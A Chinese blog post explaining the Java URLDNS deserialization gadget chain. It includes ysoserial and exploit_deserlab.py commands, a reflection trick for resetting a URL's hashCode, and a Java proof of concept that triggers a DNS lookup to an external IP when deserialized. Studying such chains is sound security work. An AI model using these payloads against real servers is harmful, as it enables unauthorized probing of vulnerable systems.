首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >java的反序列化(二):URLDNS

java的反序列化(二):URLDNS

作者头像
h0cksr
发布2023-05-17 09:16:53
发布2023-05-17 09:16:53
3780
举报
文章被收录于专栏:h0cksr的小屋h0cksr的小屋

利用流程

可通过java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://host" > payload.bin生成payload

测试 : python exploit_deserlab.py [host] [port] payload.bin

代码语言:javascript
复制
执行反序列化函数readObject()的最后会执行函数hash(key)
hash()函数调用了key.hashCode()
所以可以构造反序列化链:
HashMap.readObject()
HashMap.hash(key)
HashMap.key.hashCode()
将key改为URL对象
URL.hashCode()
URL.handler.hashCode()  //向url发出请求
readObject()触发hash()函数
hash()函数触发key.hashCode()
URL类的hashCode函数
handler.hashCode()

handler属于URLStreamHandler类,调用URLStreamHandler.hashCode()函数,触发URLStreamHandler.getHostAddress()

URLStreamHandler.getHostAddress()

u为原本的url对象,调用u.getHostAddress()函数,回到URL.java类中调用URL.getHostAddress()函数

host为URL初始化时传入的参数分析确定,反序列化读取得到

最终触发URL.InetAddress.getByName(host)函数,向host发出请求

要解决的问题

代码语言:javascript
复制
从源码可知,当URL对象的hashCode参数不等于-1时,会直接return而不调用handler.hashCode()
所以在反序列化之前要修改hashmap中url(即key)对象的hashCode

使用反射修改:
        //使用反射的方法修改url对象的hashCode
        Class u = url.getClass();
        Field hashcodefield = u.getDeclaredField("hashCode");
        hashcodefield.setAccessible(true);
        hashcodefield.set(url,-1);
        Field hostfield = u.getDeclaredField("host");

其他入口

HashMap的 put 方法也会触发key.hashCode()回到上面链子的开端

Code

代码语言:javascript
复制
//import com.sun.jndi.dns.DnsUrl;

import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
public class test {
    public static void serialize(HashMap object) throws IOException {
        String file = "D:\\Code\\java\\URLDNS\\src\\main\\java\\data.bin";
        FileOutputStream fileout = new FileOutputStream(file);
        ObjectOutputStream objectout = new ObjectOutputStream(fileout);
        objectout.writeObject(object);
    }
    public static Object unserialize(String file) throws IOException, ClassNotFoundException {
        FileInputStream filein = new FileInputStream(file);
        ObjectInputStream objectin = new ObjectInputStream(filein);
        Object obj = objectin.readObject();
        return obj;
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        //        InetAddress byName = InetAddress.getByName("http://47.99.70.18");  //测试是否能够使用InetAddress.getByName发出请求
        URL url = new URL("http://47.99.70.18:4444");
        //使用反射的方法修改url对象的hashCode
        Class u = url.getClass();
        Field hashcodefield = u.getDeclaredField("hashCode");
        hashcodefield.setAccessible(true);
        hashcodefield.set(url,-1);
        //获取HashMap实例
        HashMap hashmap = new HashMap();
        hashmap.put(url,1);
        //序列化写入文件
        serialize(hashmap);
        //反序列化
        HashMap h = (HashMap) unserialize("D:\\Code\\java\\URLDNS\\src\\main\\java\\payload.bin");

    }
}
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-12-29 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 利用流程
    • 要解决的问题
  • 其他入口
  • Code
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档